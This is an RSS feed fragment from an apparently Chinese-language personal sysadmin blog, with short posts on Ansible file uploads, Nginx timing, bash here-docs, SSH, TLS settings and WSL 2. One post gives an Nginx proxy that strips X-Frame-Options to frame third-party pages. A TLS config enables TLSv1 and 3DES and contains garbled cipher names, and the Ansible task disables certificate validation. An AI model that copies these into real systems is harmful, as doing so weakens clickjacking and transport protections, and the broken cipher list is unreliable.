&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">Send HTTP POST Request&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">uri&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">url&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;https://your_server/upload.php&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">headers&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">Accept&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;application/json&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">Content-Type&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;application/octet-stream&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">method&lt;/span>: &lt;span style="color:#ae81ff">POST&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">validate_certs&lt;/span>: &lt;span style="color:#66d9ef">false&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">body&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;{{ bin_file.content }}&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">status_code&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">200&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">201&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">register&lt;/span>: &lt;span style="color:#ae81ff">upload_result&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">Display upload_result&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">debug&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">var&lt;/span>: &lt;span style="color:#ae81ff">upload_result&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>使用 slurp，就可以避掉 lookup(&amp;lsquo;file&amp;rsquo;) 的限制。&lt;/p>
&lt;ul>
&lt;li>可以讀取受控端主機上的檔案，也可以利用 delegate_to: localhost 來讀取主控端主機上的檔案。&lt;/li>
&lt;li>可以讀取二進位檔案來做進一步處理，例如做 base64 編碼&lt;/li>
&lt;/ul></description></item><item><title>Nginx - request_time和upstream_response_time详解</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210514-105819628/</link><pubDate>Fri, 14 May 2021 16:04:04 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210514-105819628/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://blog.csdn.net/zzhongcy/article/details/105819628" target="_blank" rel="noopener">Nginx - request_time 和 upstream_response_time 详解&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="time-definition">time definition&lt;/h3>
&lt;p>&lt;strong>request_time&lt;/strong>&lt;/p>
&lt;p>从接受用户请求的第一个字节到发送完响应数据的时间，即&lt;code>$request_time&lt;/code> 包括接收客户端请求数据的时间、后端程序响应的时间、发送响应数据给客户端的时间(不包含写日志的时间)。&lt;/p>
&lt;p>&lt;strong>upstream_response_time&lt;/strong>&lt;/p>
&lt;p>从 Nginx 向后端建立连接开始到接受完数据然后关闭连接为止的时间&lt;/p>
&lt;p>&lt;strong>upstream_connect_time&lt;/strong>&lt;/p>
&lt;p>跟后端 server 建立连接的时间，如果是到后端使用了加密的协议，该时间将包括握手的时间。&lt;/p>
&lt;p>&lt;strong>upstream_header_time&lt;/strong>&lt;/p>
&lt;p>接收后端 server 响应头的时间&lt;/p>
&lt;p>如果把整个过程补充起来的话 应该是：&lt;/p>
&lt;p>&lt;code>［1用户请求］［2建立 Nginx 连接］［3发送响应］［4接收响应］［5关闭 Nginx 连接］&lt;/code>&lt;/p>
&lt;ul>
&lt;li>那么 &lt;code>upstream_response_time&lt;/code> 就是 &lt;code>2+3+4+5&lt;/code>&lt;/li>
&lt;li>但是 一般这里面可以认为 &lt;code>［5关闭 Nginx 连接］&lt;/code> 的耗时接近 0&lt;/li>
&lt;li>所以 &lt;code>upstream_response_time&lt;/code> 实际上就是 &lt;code>2+3+4&lt;/code>&lt;/li>
&lt;li>而 &lt;code>request_time&lt;/code> 是 &lt;code>1+2+3+4&lt;/code>&lt;/li>
&lt;li>二者之间相差的就是 &lt;code>［1用户请求］&lt;/code>的时间。&lt;/li>
&lt;/ul>
&lt;h4 id="upstream_response_time-比-request_time-大">upstream_response_time 比 request_time 大&lt;/h4>
&lt;blockquote>
&lt;p>&lt;a href="https://forum.nginx.org/read.php?21,284448,284450#msg-284450" target="_blank" rel="noopener">https://forum.nginx.org/read.php?21,284448,284450#msg-284450&lt;/a>&lt;/p>&lt;/blockquote>
&lt;p>&lt;code>$upstream_response_time&lt;/code> 由 &lt;code>clock_gettime(CLOCK_MONOTONIC_COARSE)&lt;/code>计算，默认情况下，它可以过去 4 毫秒，相反，&lt;code>$request_time&lt;/code> 由 &lt;code>gettimeofday()&lt;/code>计算。 所以最终 upstream_response_time 可能比 response_time 更大。&lt;/p></description></item><item><title>在 bash 腳本中使用 here-doc 將資料寫入檔案</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210507-using-heredoc-rediection-in-bash-shell-script-to-write-to-file/</link><pubDate>Fri, 07 May 2021 11:37:35 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210507-using-heredoc-rediection-in-bash-shell-script-to-write-to-file/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.cyberciti.biz/faq/using-heredoc-rediection-in-bash-shell-script-to-write-to-file/" target="_blank" rel="noopener">在 bash 腳本中使用 here-doc 將資料寫入檔案&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="使用-eof--讓-here-doc-在-shell-腳本中可自然縮排">使用 &lt;code>EOF&amp;lt;&amp;lt;-&lt;/code> 讓 here-doc 在 shell 腳本中可自然縮排&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>command &lt;span style="color:#e6db74">&amp;lt;&amp;lt;-EOF
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> msg1
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> msg2
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> $var on line
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">EOF&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="使用-eof-停用路徑參數變數展開命令替換與算術展開">使用 &lt;code>'EOF'&lt;/code> 停用路徑/參數/變數展開、命令替換與算術展開&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#!/bin/bash
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>OUT&lt;span style="color:#f92672">=&lt;/span>/tmp/output.txt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#e6db74">&amp;#34;Starting my script...&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#e6db74">&amp;#34;Doing something...&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># No parameter and variable expansion, command substitution, arithmetic expansion, or pathname expansion is performed on word.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># If any part of word is quoted, the delimiter is the result of quote removal on word, and the lines in the here-document&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># are not expanded. So EOF is quoted as follows&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>cat &lt;span style="color:#e6db74">&amp;lt;&amp;lt;&amp;#39;EOF&amp;#39; &amp;gt;$OUT
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> Status of backup as on $(date)
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> Backing up files $HOME and /etc/
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">EOF&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#e6db74">&amp;#34;Starting backup using rsync...&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>升級到 Zabbix 5 後資料庫升級失敗</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210503-upgrade-database-failed-after-ugrade-to-zabbix-5/</link><pubDate>Mon, 03 May 2021 16:33:23 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210503-upgrade-database-failed-after-ugrade-to-zabbix-5/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.zabbix.com/forum/zabbix-troubleshooting-and-problems/403139-upgrade-database-failed-after-ugrade-to-zabbix-5" target="_blank" rel="noopener">升級到 Zabbix 5 後資料庫升級失敗&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://bestmonitoringtools.com/upgrade-zabbix-to-the-latest-version/" target="_blank" rel="noopener">Zabbix 4.0/4.2/4.4 升級到 5.0/5.2 的逐步指南&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>高效能 Go 工作坊</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210428-gophercon-2019/</link><pubDate>Wed, 28 Apr 2021 16:37:05 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210428-gophercon-2019/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://dave.cheney.net/high-performance-go-workshop/gophercon-2019.html" target="_blank" rel="noopener">高效能 Go 工作坊&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>通过 Nginx 绕过 X-Frame-Options 限制</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210426-nginx-x-frame-options/</link><pubDate>Mon, 26 Apr 2021 17:39:33 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210426-nginx-x-frame-options/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://blog.whezh.com/nginx-x-frame-options/" target="_blank" rel="noopener">通过 Nginx 绕过 X-Frame-Options 限制&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>&lt;code>X-Frame-Options&lt;/code> HTTP 响应头是用来给浏览器指示允许一个页面是否可以在 &lt;code>&amp;lt;frame&amp;gt;&lt;/code>,&lt;code> &amp;lt;iframe&amp;gt;&lt;/code>, &lt;code>&amp;lt;embed&amp;gt;&lt;/code> 或者 &lt;code>&amp;lt;object&amp;gt;&lt;/code> 中展现的标记。站点可以通过确保网站没有被嵌入到别人的站点里面，从而避免 Clickjacking 攻击。通过 Nginx 的作为正向代理，我们可以绕过 &lt;code>X-Frame-Options&lt;/code> 限制成功的将第三方网页嵌入到自己的页面中。&lt;/p>
&lt;p>X-Frame-Options 响应头有三个可能的值：&lt;/p>
&lt;ul>
&lt;li>deny: 表示该页面不允许在 frame 中展示，即便是在相同域名的页面中嵌套也不允许。&lt;/li>
&lt;li>sameorigin: 表示该页面可以在相同域名页面的 frame 中展示。&lt;/li>
&lt;li>allow-from uri: 表示该页面可以在指定来源的 frame 中展示。&lt;/li>
&lt;/ul>
&lt;p>在 Chrome 尝试加载 frame 的内容时，如果 X-Frame-Options 响应头设置为禁止访问，那么 Chrome 会在控制台中显示如下错误。
&lt;code>Refuse to display 'http://192.168.20.101:8080' in a frame because it set 'X-Frame-Options' to 'deny'.&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nginx" data-lang="nginx">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">server&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">listen&lt;/span> &lt;span style="color:#ae81ff">8080&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">location&lt;/span> &lt;span style="color:#e6db74">/&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">proxy_hide_header&lt;/span> &lt;span style="color:#e6db74">X-Frame-Options&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">proxy_pass&lt;/span> &lt;span style="color:#e6db74">http://&lt;/span>{&lt;span style="color:#f92672">target}&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>这也当请求 &lt;code>http://{proxy_server}:8080&lt;/code> 时，nginx 会做代理转发到 &lt;code>http://{target}&lt;/code>，同时在返回结果的时候会隐藏掉 &lt;code>X-Frame-Options&lt;/code> 相应头，这样我们自己的网页就能正常通过 iFrame 载入目标网页了。&lt;/p></description></item><item><title>Setting up JWT Authentication</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210423-configuring-jwt-authentication/</link><pubDate>Fri, 23 Apr 2021 11:13:34 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210423-configuring-jwt-authentication/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://docs.nginx.com/nginx/admin-guide/security-controls/configuring-jwt-authentication/" target="_blank" rel="noopener">Setting up JWT Authentication&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://segmentfault.com/a/1190000015677681" target="_blank" rel="noopener">Nginx 实现 JWT 验证-基于 OpenResty 实现&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>SSH 失敗錯誤：fatal: daemon() failed: No such device</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210304-ssh-failing-with-error-fatal-daemon-failed-no-such-device/</link><pubDate>Thu, 04 Mar 2021 18:48:39 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210304-ssh-failing-with-error-fatal-daemon-failed-no-such-device/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://admin-ahead.com/forum/general-linux/ssh-failing-with-error-fatal-daemon%28%29-failed-no-such-device/" target="_blank" rel="noopener">SSH 失敗錯誤：fatal: daemon() failed: No such device&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>/var/log/secure&lt;/p>
&lt;p>&lt;code>Oct 10 10:58:05 vps sshd[23799]: fatal: daemon() failed: No such device&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># rm -vf /dev/null&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>removed &lt;span style="color:#e6db74">`&lt;/span>/dev/null&lt;span style="color:#e6db74">`&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-bash-3.2# mknod /dev/null c &lt;span style="color:#ae81ff">1&lt;/span> &lt;span style="color:#ae81ff">3&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Started SSH and the SSH started responding:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># service sshd restart&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Stopping sshd: &lt;span style="color:#f92672">[&lt;/span> OK &lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Starting sshd: &lt;span style="color:#f92672">[&lt;/span> OK &lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-bash-3.2# service sshd status
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>openssh-daemon &lt;span style="color:#f92672">(&lt;/span>pid 30608&lt;span style="color:#f92672">)&lt;/span> is running…
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>GitLab 啟用 Project integration - Mattermost slash commands</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210128-gitlab-mattermost-slash-commands/</link><pubDate>Thu, 28 Jan 2021 11:50:41 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210128-gitlab-mattermost-slash-commands/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://blog.chengweichen.com/2021/01/gitlab-mattermost-slash-commands.html" target="_blank" rel="noopener">GitLab 啟用 Project integration - Mattermost slash commands&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Nginx SSL/TLS configuration with TLSv1.2 and TLSv1.3 - ECDHE and strong ciphers suite (Openssl 1.1.1)</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210122-7d432c3c3d134cc3cb7e98b30a76c287/</link><pubDate>Fri, 22 Jan 2021 13:49:17 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210122-7d432c3c3d134cc3cb7e98b30a76c287/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://gist.github.com/VirtuBox/7d432c3c3d134cc3cb7e98b30a76c287" target="_blank" rel="noopener">Nginx SSL/TLS configuration with TLSv1.2 and TLSv1.3 - ECDHE and strong ciphers suite (Openssl 1.1.1)&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="sslconf">ssl.conf&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nginx" data-lang="nginx">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">##
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># SSL Settings (TLSv1.2 and TLSv1.3)
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">##
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>&lt;span style="color:#66d9ef">ssl_protocols&lt;/span> &lt;span style="color:#e6db74">TLSv1.2&lt;/span> &lt;span style="color:#e6db74">TLSv1.3&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">ssl_ciphers&lt;/span> &lt;span style="color:#e6db74">&amp;#39;TLS13+AESGCM+AES128:EECDH+AES128&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">ssl_prefer_server_ciphers&lt;/span> &lt;span style="color:#66d9ef">on&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">ssl_session_cache&lt;/span> &lt;span style="color:#e6db74">shared:SSL:50m&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">ssl_session_timeout&lt;/span> &lt;span style="color:#e6db74">1d&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">ssl_session_tickets&lt;/span> &lt;span style="color:#66d9ef">off&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">ssl_ecdh_curve&lt;/span> &lt;span style="color:#e6db74">X25519:sect571r1:secp521r1:secp384r1&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="universal-sslconf">universal-ssl.conf&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nginx" data-lang="nginx">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">##
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># SSL Settings (TLSv1.0 + TLSv1.1 + TLSv1.2 + TLSv1.3)
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">##
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>&lt;span style="color:#66d9ef">ssl_protocols&lt;/span> &lt;span style="color:#e6db74">TLSv1&lt;/span> &lt;span style="color:#e6db74">TLSv1.1&lt;/span> &lt;span style="color:#e6db74">TLSv1.2&lt;/span> &lt;span style="color:#e6db74">TLSv1.3&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">ssl_ciphers&lt;/span> &lt;span style="color:#e6db74">&amp;#39;TLS13+AESG+AES128:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES25GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:DHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA:ECDHE-RSA-AES256-SHA:DHE-R-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES256-SHA:ECDHE-ECDSA-DES-CBC3-SHA:ECDHE-RSA-DES-CBC3-SHA:EDH-RSA-DES-CBC3-S:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:DES-CBC3-SHA:!DSS&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">ssl_prefer_server_ciphers&lt;/span> &lt;span style="color:#66d9ef">on&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">ssl_session_cache&lt;/span> &lt;span style="color:#e6db74">shared:SSL:50m&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">ssl_session_timeout&lt;/span> &lt;span style="color:#e6db74">1d&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">ssl_session_tickets&lt;/span> &lt;span style="color:#66d9ef">off&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">ssl_ecdh_curve&lt;/span> &lt;span style="color:#e6db74">X25519:sect571r1:secp521r1:secp384r1&lt;/span>;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>ZSH 自动读取 macOS 系统代理配置并设置环境变量</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210111-macos-auto-read-proxy-settings-zsh/</link><pubDate>Mon, 11 Jan 2021 14:50:11 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210111-macos-auto-read-proxy-settings-zsh/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://blog.skk.moe/post/macos-auto-read-proxy-settings-zsh/" target="_blank" rel="noopener">ZSH 自动读取 macOS 系统代理配置并设置环境变量&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zsh" data-lang="zsh">&lt;span style="display:flex;">&lt;span>$ system_profiler SPNetworkDataType &lt;span style="color:#75715e"># 获取完整网络配置信息&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ networksetup -listallnetworkservices &lt;span style="color:#75715e"># 列举所有网络设备&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ networksetup -getwebproxy Wi-Fi &lt;span style="color:#75715e"># 获取特定网络设备的系统代理配置&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ scutil --proxy &lt;span style="color:#75715e"># 获取当前已启用的代理配置，是对 system_profiler 的封装&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>WSL 2 的 .wslconfig 設定檔說明</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20201230-e4619f17e8d252b9ff72579ac271881c/</link><pubDate>Wed, 30 Dec 2020 21:24:12 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20201230-e4619f17e8d252b9ff72579ac271881c/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://gist.github.com/doggy8088/e4619f17e8d252b9ff72579ac271881c" target="_blank" rel="noopener">WSL 2 的 .wslconfig 設定檔說明&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://docs.microsoft.com/en-us/windows/wsl/release-notes#build-18945" target="_blank" rel="noopener">Release Notes for Windows Subsystem for Linux | Microsoft Docs - Build 18945&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.huanlintalk.com/2020/02/wsl-2-installation.html" target="_blank" rel="noopener">在 Windows 10 環境上安裝 WSL 2&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://blog.miniasp.com/post/2020/07/26/Multiple-Linux-Dev-Environment-build-on-WSL-2#google_vignette" target="_blank" rel="noopener">使用 WSL 2 打造優質的多重 Linux 開發環境&lt;/a>&lt;/li>
&lt;/ul>
&lt;hr>
&lt;p>安裝 WSL 2 的步驟：&lt;/p>
&lt;ul>
&lt;li>加入 Windows Insider Program（此步驟不可省略）&lt;/li>
&lt;li>啟用 WSL 必要元件&lt;/li>
&lt;li>安裝 Linux 發行版本&lt;/li>
&lt;li>設定 WSL 2 支援的 Linux 發行版本&lt;/li>
&lt;li>WSL 2 問題排除：啟用壓縮功能的虛擬磁碟檔案無法轉換成 WSL 2 架構&lt;/li>
&lt;li>安裝及啟動 Docker&lt;/li>
&lt;li>安裝 Docker Desktop v2.2.1.0&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-powershell" data-lang="powershell">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 啟用 WSL 必要元件&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>dism.exe /online /enable-feature /featurename&lt;span style="color:#960050;background-color:#1e0010">:&lt;/span>Microsoft-Windows-Subsystem-Linux /all /norestart
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>dism.exe /online /enable-feature /featurename&lt;span style="color:#960050;background-color:#1e0010">:&lt;/span>VirtualMachinePlatform /all /norestart
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 設定 WSL 2 支援的 Linux 發行版本&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>wsl --set-version ubuntu &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>wsl --set-default-version &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;hr>
&lt;ul>
&lt;li>
